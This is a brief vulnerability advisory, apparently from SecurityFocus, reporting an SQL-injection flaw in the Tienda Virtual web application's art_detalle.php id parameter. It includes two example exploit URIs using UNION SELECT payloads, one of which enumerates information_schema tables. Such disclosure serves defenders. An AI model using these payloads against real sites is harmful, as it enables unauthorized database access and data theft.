source: https://www.securityfocus.com/bid/51240/info

Tienda Virtual is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

The following example URIs are available:

http://www.example.com/art_detalle.php?id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13--

http://www.example.com/art_detalle.php?id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13+from+information_schema.tables--